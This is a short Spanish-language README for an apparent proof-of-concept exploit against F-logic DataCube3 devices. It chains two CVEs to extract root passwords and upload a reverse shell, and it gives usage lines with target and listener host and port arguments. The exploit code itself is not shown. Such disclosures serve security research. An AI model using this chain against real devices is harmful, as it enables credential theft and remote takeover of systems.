CVE-2024-25830 y CVE-2024-25832 - DataCube3: Control de Acceso Inadecuado y Carga de Archivos Sin Restricciones.

Resumen

Este repositorio presenta una Prueba de Concepto (PoC) para una cadena de explotación de dos pasos dirigida a dispositivos DataCube3. Combina CVE-2024-25830 (Control de Acceso Inadecuado) para extraer contraseñas de root y CVE-2024-25832 (Carga de Archivos Sin Restricciones) para implementar un script de reverse shell. Esta PoC complementa el análisis detallado de vulnerabilidades en la entrada del blog "DataCube3 Vulnerability Report."

Versiones afectadas

Todos los dispositivos F-logic DataCube3 versión 1.0.

Uso del Script PoC

# Usage: python datacube3.py --RHOST <Target-IP> --RPORT <Target-Port> --LHOST <Local-IP> --LPORT <Local-Port>
# Example: python datacube3.py --RHOST 192.168.1.1 --RPORT 443 --LHOST 192.168.1.100 --LPORT 4444

Video de la Prueba de Concepto

Nota

SOLO CON FINES EDUCATIVOS.